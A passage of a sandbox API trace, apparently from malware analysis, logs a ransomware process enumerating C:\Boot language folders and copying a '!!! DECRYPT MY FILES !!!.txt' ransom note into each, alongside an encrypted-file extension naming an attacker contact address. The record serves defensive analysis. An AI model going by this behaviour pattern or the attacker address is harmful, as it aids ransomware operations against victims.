ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5200 [0095.579] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.579] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0095.579] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\el-GR\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 1 [0095.579] CharLowerBuffW (in: lpsz="C:\\Boot\\el-GR\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\el-gr\\bootmgr.exe.mui") returned 0x1d [0095.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.580] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.580] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.580] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0095.580] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\el-gr\\bootmgr.exe.mui", psz="C:\\Boot\\el-GR\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\el-GR\\memtest.exe.mui") returned 1 [0095.580] CharLowerBuffW (in: lpsz="C:\\Boot\\el-GR\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\el-gr\\memtest.exe.mui") returned 0x1d [0095.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.580] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.580] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0095.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0095.581] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc482dc87, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5500 [0095.581] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0095.581] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\el-GR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\el-gr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0095.586] GetProcessHeap () returned 0x630000 [0095.586] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c878, Size=0x34) returned 0x6d4f80 [0095.586] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.586] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0095.587] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0095.587] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\en-GB\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\en-GB\\") returned 1 [0095.587] CharLowerBuffW (in: lpsz="C:\\Boot\\en-GB\\", cchLength=0xe | out: lpsz="c:\\boot\\en-gb\\") returned 0xe [0095.587] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0095.587] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0095.587] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0095.588] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.588] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0095.588] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\en-GB\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 1 [0095.588] CharLowerBuffW (in: lpsz="C:\\Boot\\en-GB\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\en-gb\\bootmgr.exe.mui") returned 0x1d [0095.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.588] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.588] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.589] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.589] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0095.589] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0095.589] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\en-US\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\en-US\\") returned 1 [0095.589] CharLowerBuffW (in: lpsz="C:\\Boot\\en-US\\", cchLength=0xe | out: lpsz="c:\\boot\\en-us\\") returned 0xe [0095.589] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0095.589] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0095.589] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0095.589] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.589] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0095.590] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\en-US\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 1 [0095.590] CharLowerBuffW (in: lpsz="C:\\Boot\\en-US\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\en-us\\bootmgr.exe.mui") returned 0x1d [0095.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.590] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.590] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.590] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0095.590] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\en-us\\bootmgr.exe.mui", psz="C:\\Boot\\en-US\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\en-US\\memtest.exe.mui") returned 1 [0095.590] CharLowerBuffW (in: lpsz="C:\\Boot\\en-US\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\en-us\\memtest.exe.mui") returned 0x1d [0095.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.590] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.590] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.591] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0095.591] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0095.591] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc482dc87, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f40 [0095.591] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0095.591] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0095.595] GetProcessHeap () returned 0x630000 [0095.595] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4f80, Size=0x38) returned 0x6d4f00 [0095.595] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.595] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0095.595] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0095.596] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\es-ES\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\es-ES\\") returned 1 [0095.596] CharLowerBuffW (in: lpsz="C:\\Boot\\es-ES\\", cchLength=0xe | out: lpsz="c:\\boot\\es-es\\") returned 0xe [0095.596] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0095.596] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0095.596] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0095.596] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.597] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0095.597] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\es-ES\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 1 [0095.597] CharLowerBuffW (in: lpsz="C:\\Boot\\es-ES\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\es-es\\bootmgr.exe.mui") returned 0x1d [0095.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.597] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.597] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.597] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0095.597] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\es-es\\bootmgr.exe.mui", psz="C:\\Boot\\es-ES\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\es-ES\\memtest.exe.mui") returned 1 [0095.597] CharLowerBuffW (in: lpsz="C:\\Boot\\es-ES\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\es-es\\memtest.exe.mui") returned 0x1d [0095.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.598] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.598] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0095.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0095.598] FindFirstFileW (in: 